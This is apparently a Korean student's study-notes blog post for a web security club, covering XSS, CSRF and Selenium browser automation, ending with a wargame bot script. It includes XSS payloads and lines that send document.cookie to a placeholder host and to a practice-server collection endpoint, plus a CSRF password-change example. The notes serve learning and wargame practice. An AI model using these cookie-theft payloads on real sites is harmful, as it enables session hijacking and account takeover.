웹 3차시

이동규·2026년 8월 26일

Layer7과제

목록 보기
20/22

XSS(Cross Site Scripting)

웹페이지에 악성 스크립트를 삽입하는 취약점

사용자의 입력이 웹페이지 어딘가에 출력된다면 발생할 수 있는 공격기법이다. URL 파라미터나 게시글, 댓글 등이 대표적이다.

단순히 입력값이 보인다고 무조건 XSS인 것은 아니고, 입력값이 HTML이나 JavaScript 코드로 해석되어 실행되어야 한다.

악성 스크립트

웹에서 실행되는 JavaScript 코드이다.

브라우저에서 기본적으로 JavaScript를 실행할 수 있기 때문에, 공격자가 넣은 코드가 실행되면 삐용삐용 비상사태 발생이다.

페이지 내용을 바꾸거나 사용자를 대신해 요청을 보내고, 쿠키 같은 정보를 가져갈 수도 있다.

사용법

JavaScript를 실행하는 HTML 태그와 속성들을 이용해서 사용한다.

<img src="/없는파일.png" onerror="alert(1)">

이미지를 불러오지 못해서 에러가 발생하면 onerror에 있는 코드가 실행된다.

<script>alert(1)</script>

그냥 대놓고 스크립트를 박는 방법도 있다.

<body onload="alert(1)">

페이지가 로딩될 때 실행하게 만들 수도 있다.

목적

쿠키나 페이지에 있는 정보 탈취

특히 로그인 세션이 쿠키에 들어 있다면 계정 탈취로 이어질 수도 있다.

페이로드 예시

location.href = "https://example.com/?c=" + document.cookie;

document.cookie를 URL에 붙여서 다른 서버로 보내는 방식이다.

fetch("/collect", {
    method: "POST",
    body: document.cookie
});

실습 서버의 수집 엔드포인트로 쿠키를 보내는 방식도 가능하다.

CSRF(Cross Site Request Forgery)

사용자의 인증 상태를 이용해서 원하지 않는 요청을 보내게 하는 공격이다.

악성 스크립트가 꼭 필요한 것은 아니고 이미지나 HTML 폼만으로도 요청을 보낼 수 있다.

다음과 같은 엔드포인트가 있을 시

/change_password?pw=1234

이런 식으로 파라미터의 pw 값을 바꿔서 비밀번호를 변경하게 만들 수 있다.

사용자가 해당 사이트에 로그인되어 있다면 브라우저가 요청을 보낼 때 세션 쿠키를 자동으로 포함할 수 있다.

따라서 공격자가 세션 ID를 직접 알지 못해도 피해자의 로그인 상태를 이용할 수 있다.

비밀번호 변경 후 바로 로그인이 가능한지는 서버의 로그인 방식이나 계정 정보에 따라 달라진다.

셀레니움

웹 브라우저를 자동화하고 테스트하는 프레임워크

그냥 사람처럼 웹브라우저를 움직이게 만드는 도구이다.

버튼 누르고 글자 쓰고 페이지 이동하는 것 등을 코드로 할 수 있다.

from selenium import webdriver
from selenium.webdriver.common.by import By

driver = webdriver.Chrome()
driver.get("https://example.com")

button = driver.find_element(By.ID, "submit")
button.click()

driver.quit()

셀레니움 이외에도 이런 역할을 수행할 수 있는 도구가 있다.

Node.js에서는 Puppeteer, Playwright 등이 있다.

워게임에서는 이런 도구로 만들어진 자동화 브라우저를 보통 봇이라고 부른다.

자료

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options

# 크롬 드라이버 실행 (Selenium 4+는 별도 드라이버 다운로드 불필요)

options = Options()
options.add_argument("--headless")       # 화면 없이 실행
options.add_argument("--window-size=1920,1080")
options.add_argument("--disable-gpu")

driver = webdriver.Chrome(options=options)
# 창 크기, 최대화
driver.maximize_window()

# 페이지 이동
driver.get("https://www.example.com")


# 단일 요소 찾기
element = driver.find_element(By.ID, "search")
element = driver.find_element(By.NAME, "q")
element = driver.find_element(By.CLASS_NAME, "btn")
element = driver.find_element(By.TAG_NAME, "input")
element = driver.find_element(By.CSS_SELECTOR, "div.container > input")
element = driver.find_element(By.XPATH, "//input[@type='text']")
element = driver.find_element(By.LINK_TEXT, "로그인")
element = driver.find_element(By.PARTIAL_LINK_TEXT, "로그")

# 여러 요소 찾기 (리스트 반환)
elements = driver.find_elements(By.CLASS_NAME, "item")


element.click()                  # 클릭
element.send_keys("검색어")       # 텍스트 입력
element.send_keys(Keys.ENTER)    # 키보드 입력 (엔터 등)
element.clear()                  # 입력값 지우기
element.text                     # 텍스트 가져오기
element.get_attribute("href")    # 속성값 가져오기
element.is_displayed()           # 표시 여부
element.is_enabled()             # 활성화 여부
element.is_selected()            # 선택 여부 (체크박스 등)


driver.back()          # 뒤로가기
driver.forward()       # 앞으로가기
driver.refresh()       # 새로고침
driver.current_url     # 현재 URL
driver.title           # 페이지 제목
driver.close()         # 현재 탭 닫기
driver.quit()          # 브라우저 전체 종료

https://github.com/swap-dh/layer7-web-study/tree/main/selenium_learn

실제 드림핵 문제에서는 이렇게 생겼다.
아직까지는 문제를 푸는데 직접적인 영향이 없었으므로 자세히 설명하는 것은 어려울 것 같고 한번씩 읽고 넘어가 본다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)



def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True







app.run(host="0.0.0.0", port=8000)

0개의 댓글